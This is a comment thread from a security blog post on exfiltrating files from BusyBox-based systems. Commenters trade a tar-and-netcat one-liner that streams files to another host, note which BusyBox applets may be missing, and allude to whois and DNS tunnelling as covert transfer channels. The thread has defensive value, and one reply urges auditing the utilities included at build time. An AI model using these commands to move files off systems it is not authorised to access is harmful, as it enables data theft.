Exfiltrating files with BusyBox
bitquark.co.uk
Exfiltrating files with BusyBox
1–10 of 24 posts
Re: Exfiltrating files with BusyBox
#2Example:
Host1: "tar -cf - /file1 /file2 | nc -l -p 54321"
Host2: "nc host1 54321 | tar -xf -"
Re: Exfiltrating files with BusyBox
#3I very much prefer using "tar" and "nc". Example: Host1: "tar -cf - /file1 /file2 | nc -l -p 54321" Host2: "nc host1 54321 | tar -xf -"
Re: Exfiltrating files with BusyBox
#4 # type ftpput
-sh: type: ftpput: not found
# busybox ftpput
busybox: applet not found
#
Likewise for "nc".Re: Exfiltrating files with BusyBox
#5I very much prefer using "tar" and "nc". Example: Host1: "tar -cf - /file1 /file2 | nc -l -p 54321" Host2: "nc host1 54321 | tar -xf -"
Indeed, the tools listing in that post makes clear that nc should be available. If you have another Unix machine elsewhere, the nc solution avoids having to install any new software on either machine.
Re: Exfiltrating files with BusyBox
#6Earlier quoted context omitted.
Indeed, the tools listing in that post makes clear that nc should be available. If you have another Unix machine elsewhere, the nc solution avoids having to install any new software on either machine.
Indeed! I meant to mention the nc option, but I've found that ftpput/get are more often available than nc, perhaps something to do with the ubiquity of ftp.
Neat challenge left as an exercise to the reader: whois can be used to transfer files too. :)
Re: Exfiltrating files with BusyBox
#7I very much prefer using "tar" and "nc". Example: Host1: "tar -cf - /file1 /file2 | nc -l -p 54321" Host2: "nc host1 54321 | tar -xf -"
Re: Exfiltrating files with BusyBox
#8Earlier quoted context omitted.
Indeed! I meant to mention the nc option, but I've found that ftpput/get are more often available than nc, perhaps something to do with the ubiquity of ftp.
Much the other way around. Netcat is ubiquitous. I haven't come across many systems with ftpput and ftpget. Neat challenge left as an exercise to the reader: whois can be used to transfer files too. :)
Re: Exfiltrating files with BusyBox
#9Earlier quoted context omitted.
Indeed! I meant to mention the nc option, but I've found that ftpput/get are more often available than nc, perhaps something to do with the ubiquity of ftp.
Much the other way around. Netcat is ubiquitous. I haven't come across many systems with ftpput and ftpget. Neat challenge left as an exercise to the reader: whois can be used to transfer files too. :)
Ah, the old DNS-tunnelling trick. A fun way to flip cheap hotels the bird.
Re: Exfiltrating files with BusyBox
#10The ftpput and ftpget commands might not be available even as arguments to the busybox command, depending on how it was configured at build time. # type ftpput -sh: type: ftpput: not found # busybox ftpput busybox: applet not found # Likewise for "nc".
Your example along with OP's showcase why it's a good idea to audit the utilities you include at build time!